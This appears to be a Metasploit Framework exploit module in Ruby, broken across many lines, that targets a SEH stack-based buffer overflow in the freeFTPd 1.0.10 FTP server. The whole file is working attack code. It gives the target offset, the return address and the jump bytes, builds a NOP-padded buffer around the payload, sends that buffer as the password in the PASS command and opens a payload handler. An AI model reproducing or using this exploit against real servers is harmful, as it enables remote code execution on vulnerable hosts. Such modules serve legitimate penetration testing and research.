##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'freeFTPd 1.0.10 PASS Command SEH Overflow'
,
'Description'
=> %q{
This
module
exploits a
SEH
stack-based buffer overflow
in
freeFTPd Server
PASS
command version
1
.
0
.
10
.
credit goes to Wireghoul.
},
'Author'
=>
[
'Wireghoul - www.justanotherhacker.com'
,
# original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>'
,
# metasploit module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'OSVDB'
,
'96517'
],
[
'EDB'
,
'27747'
]
],
'DefaultOptions'
=>
{
'EXITFUNC'
=>
'seh'
},
'Privileged'
=>
false
,
'Payload'
=>
{
'Space'
=>
600
,
'BadChars'
=>
"\x00\x20\x0a\x0d"
,
#'DisableNops' => true
},
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Windows XP English SP3'
, {
'Ret'
=> 0x00414226 ,
'Offset'
=>
952
} ],
],
'DisclosureDate'
=>
'Aug 21 2013'
,
'DefaultTarget'
=>
0
))
end
def
check
connect
disconnect
if
(banner =~ /freeFTPd
1
.
0
/)
return
Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def
exploit
connect
payload_size = payload.encoded.length
buf = make_nops(
1000
)
buf[(target[
'Offset'
]-
11
) - payload_size, payload_size] = payload.encoded
buf[target[
'Offset'
]-
5
,
5
] =
"\xe9\x98\xfe\xff\xff"
buf[target[
'Offset'
],
4
] = [0xfffff9eb].pack(
"V"
)
buf[target[
'Offset'
]+
4
,
4
] = [target.ret].pack(
"V"
)
print_status(
"Sending exploit buffer..."
)
#buffer = Rex::Text.pattern_create(1000)
send_user(datastore[
'FTPUSER'
])
send_pass(buf)
handler
disconnect
end
end